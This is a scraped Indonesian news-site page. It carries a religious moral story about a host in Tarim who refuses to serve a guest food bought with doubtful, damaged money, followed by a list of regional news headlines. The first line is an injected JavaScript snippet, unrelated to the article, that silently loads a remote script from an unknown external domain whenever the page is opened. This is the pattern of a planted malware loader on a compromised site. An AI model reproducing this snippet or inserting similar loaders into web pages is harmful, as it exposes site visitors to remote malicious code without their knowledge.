(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Ibrah

Mengutamakan Kehalalan dalam Menjamu Tamu


Sayyid Usamah bin Zaed BSA menceritakan: Saya mendengar cerita ini dari Al-Habib Ali Masyhur bin Muhammad bin Salim bin Hafidz bin Syekh Abibakar bin Salim (Mufti Tarim) dan beliau diceritakan oleh Al Habib Alwi bin Abdullah bin Syahab, di zamanya salah seorang penduduk di kota ini (Tarim) kedatangan tamu setelah shalat duha, dan tuan rumah menyambutnya dengan senang hati sehingga menyiapkan ruangan untuk berbincang-bincang, karena tamu tersebut adalah kerabat yang sudah lama tak jumpa.

Tuan rumah pun memerintahkan pembantunya berbelanja ke pasar Tarim untuk berbelanja sayuran tambahan, sehingga tamu makan siang bersamanya. Karena tuan rumah belum sempat keluar setelah duha mencari rezeki seperti hari-hari biasa, maka ia mencari uangnya yang ada di kamar sudah bertahun-tahun tak terpakai dan diberikan kepada pembantunya agar berbelanja.

Setelah sampai di pasar Tarim yang lumayan jauh dengan berjalan kaki sang pembantu mengambil belanjaan yang sekiranya bisa dimasak banyak untuk sang tamu, maka ia membayar belanjaannya kepada penjual, ternyata uang yang diberi tuannya sudah sedikit rusak dan tak laku, sehingga penjual mengembalikan uangnya, dia mencari pedagang lain dan mencoba untuk membayar dengan uang tadi.

Begitu juga pedagang ke 2 menolak uangnya. Sampai 3 pedagang terjadi hal yang sama, seorang pedagang lain dari jauh melihat ia kebingungan sehingga memanggilnya dan mempersilakan berbelanja dengannya. Dia pun menerangkan kejadian dari awal dan kali ini pedagang menerima uangnya, hingga ia membawa sayuran dan belanjaan pulang ke rumah.

Sesampai di rumah tuannya menanyakan kenapa kau lama berbelanja? Ia menceritakan hal yang terjadi di pasar, sang tuan mengatakan antar aku ketempat kau belanja. Dia berdua berjalan ke pasar dan menemui pedagang tadi dan sang tuan mengatakan kembalikan uangku dan ambil barang daganganmu, karena pembantuku sudah mencoba berbelanja dengan uang itu namun 3 pedagang menolak uang itu karena ada sedikit rusak.

Pedagang menjawab sudah tak mengapa ambil saja barang itu aku ikhlas, juga uangnya sudah bercampur di kotak ini susah untuk dicari, karena kewara’an sang tuan rumah tak mau mengambil barang tersebut dan mengembalikannya serta uangnya dihadiahkan kepada sang pedagang.

Sesampai kembali dirumah sang tuan memerintahkan pembantunya untuk menyiapkan makan siang seadanya untuk sang tamu, dan mengatakan aku tak mau menjamu tamuku dengan barang yang syubhat, jamu mereka dengan yang halal sehingga ia akan menjadi tamuku hingga di surga nanti.

Ya Allah dekatkanlah kami dengan orang-orang yang kau pilih menjadi penghuni surgamu Amin. (Ibnu Syaifuddin/syusamahbsa.wordpress.com)


Desy Arfianty

Recent Posts

Buka Peningkatan Kapasitas Kader PKK se-Kabupaten Banjar, Ini Harapan Nurgita Tiyas

KANALKALIMANTAN.COM, MARTAPURA - Ketua Tim Penggerak PKK Kabupaten Banjar Hj Nurgita Tiyas membuka Peningkatan Kapasitas… Read More

4 jam ago

Klaim Restu PKS Turun di Pilwali Banjarmasin, Mukhyar Cari Dukungan Nasdem

KANALKALIMANTAN.COM, BANJARMASIN - H Mukhyar masuk dalam penjaringan bakal calon Wali Kota Banjarmasin di Sekretariat… Read More

4 jam ago

Nongkrong di Eks Lokalisasi Pembatuan, Dua Perempuan Dibawa Satpol PP

KANALKALIMANTAN.COM, BANJARBARU - Satuan Polisi Pamong Praja (Satpol PP) Kota Banjarbaru kembali menggiring dua perempuan… Read More

5 jam ago

Berhasil Ditekan, Angka Stunting 2023 Kabupaten Kapuas 16,20 Persen

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi mengatakan penilaian kinerja pelaksanaan 8… Read More

5 jam ago

Uji Trayek Angkutan Bus Pengumpan di Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Kota Banjarbaru melakukan uji coba trayek atau rute angkutan… Read More

5 jam ago

Mengulang Pertarungan di Pilgub Kalsel, Denny Indrayana Lamar Nasdem

KANALKALIMANTAN.COM, BANJARBARU - Menjelang Pemilihan Kepala Daerah (Pilkada) 2024 di Provinsi Kalimantan Selatan (Kalsel), kandidat… Read More

9 jam ago

This website uses cookies.